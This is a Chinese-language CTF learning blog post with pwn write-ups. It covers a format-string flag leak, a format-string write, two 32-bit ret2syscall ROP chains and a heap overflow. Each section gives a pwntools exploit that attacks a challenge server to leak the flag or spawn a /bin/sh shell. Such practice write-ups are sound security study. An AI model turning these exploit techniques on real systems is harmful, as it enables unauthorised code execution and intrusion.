CTF学习记录pwn篇

wyxhhh / 2024-01-19 / 原文

作为一个CTF初学者,在这里记录自己学习刷题的过程,不定期更新。

此为pwn篇,有关pwn方向的题目会放在这里,目前来说,这篇会主要更新,其他方向也许会有,敬请期待。

目录
  • 一、format string
    • 1.[HUBUCTF 2022 新生赛]fmt - NSSCTF
    • 2.test_format - PolarD&N
  • 二、ROP
    • 1.03ret2syscall_32 - PolarD&N
    • 2.fate - PolarD&N
  • 三、heap
    • 1.[NISACTF 2022]ezheap - NSSCTF

一、format string

1.[HUBUCTF 2022 新生赛]fmt - NSSCTF

拿到题目常规checksec

64位,放到IDA中反编译

image-20240115105633380

可知s储存着flag,且存在格式化字符串漏洞

根据s与format在栈上的相对位置计算偏移(0x60-0x40)/8+8=12,然后利用%p泄露内存

#exp
from pwn  import *


p=remote('node5.anna.nssctf.cn',28158)

offset=12
flag=''
while True:
    payload=b'%'+str(offset).encode()+b'$p' #构造格式化字符串
    offset+=1
    p.sendlineafter(b'service',payload)
    p.recvuntil(b'0x')
    flag_part=p.recvuntil(b'\n')[:-1]   #接收%p泄露的内容
    for i in range(len(flag_part),0,-2):
        c=flag_part[i-2:i].ljust(2,b'0')    #注意小端序,八字节对齐
        flag+=chr(int(c,16))
    if '}' in flag:
        break
print(flag)

运行得到flag

image-20240115162857080

​ 关于不能用%12$s直接泄露,因为%s是以参数作为地址找寻该地址的字符串,而本题flag直接在栈上,%s会将其当作地址去找字符串,而该地址显然不存在,则会崩溃。

2.test_format - PolarD&N

image-20240116102559997

image-20240116102638063

格式化字符串修改小数字,修改n的值为4拿到shell

#exp
from pwn import *

p=remote("120.46.59.242",2111)

offset=6
n_addr=0x0804A030

#payload=p32(n_addr)+b'%6$n'			#构造payload
payload=fmtstr_payload(offset,{n_addr:4}) #使用fmtstr_payload模块自动构造payload

p.sendline(payload)

p.interactive()

二、ROP

1.03ret2syscall_32 - PolarD&N

ret2syscall

构造eax=0xb|ebx="/bin/sh"_addr|ecx=0|edx=0,然后执行int 0x80进行系统调用execve("/bin/sh", 0, 0)

ROPgadget --binary 03ret2syscall_32 --string "/bin/sh" 
ROPgadget --binary 03ret2syscall_32 --only "int"
ROPgadget --binary 03ret2syscall_32 --only 'pop|ret' | grep pop
利用ROPgadget查找相应指令
#exp
from pwn import *
#Polar ret2syscall
p=remote("120.46.59.242",2116)

binsh_addr=0x080ea068
int_0x80_addr=0x0806cea3
pop_eax_ret_addr=0x080b8576
pop_edx_ecx_ebx_ret_addr=0x0806f250

payload=b'a'*(0x208+0x4)
payload+=p32(pop_eax_ret_addr)+p32(0xb)
payload+=p32(pop_edx_ecx_ebx_ret_addr)+p32(0)+p32(0)+p32(binsh_addr)
payload+=p32(int_0x80_addr)

p.sendline(payload)

p.interactive()

2.fate - PolarD&N

1.03ret2syscall_32 - PolarD&N相同,ret2syscall

#exp
from pwn import *
#Polar ret2syscall
p=remote("120.46.59.242",2138)

binsh_addr=0x080BC3E0
int_0x80_addr=0x0806d3d3
pop_eax_ret_addr=0x080b8ad6
pop_ebx_edx_ret_addr=0x0806f789
pop_ecx_addr=0x080df5b1
payload=b'a'*(0x6c+0x4)
payload+=p32(pop_eax_ret_addr)+p32(0xb)
payload+=p32(pop_ebx_edx_ret_addr)+p32(binsh_addr)+p32(0)+p32(pop_ecx_addr)+p32(0)
payload+=p32(int_0x80_addr)

p.sendline(payload)

p.interactive()

三、heap

1.[NISACTF 2022]ezheap - NSSCTF

checksec

屏幕截图 2024-01-19 103604.png

IDA

image-20240119104308417

存在堆溢出,通过gets溢出覆盖command为/bin/sh\x00

image-20240119104616263

动态调试输入8个a,可见需要覆盖0xC0-0xA0=0x20个字符

#exp
from pwn import *
p=remote("node5.anna.nssctf.cn",28610)

payload=cyclic(0x20)+b"/bin/sh\x00"
p.sendline(payload)

p.interactive()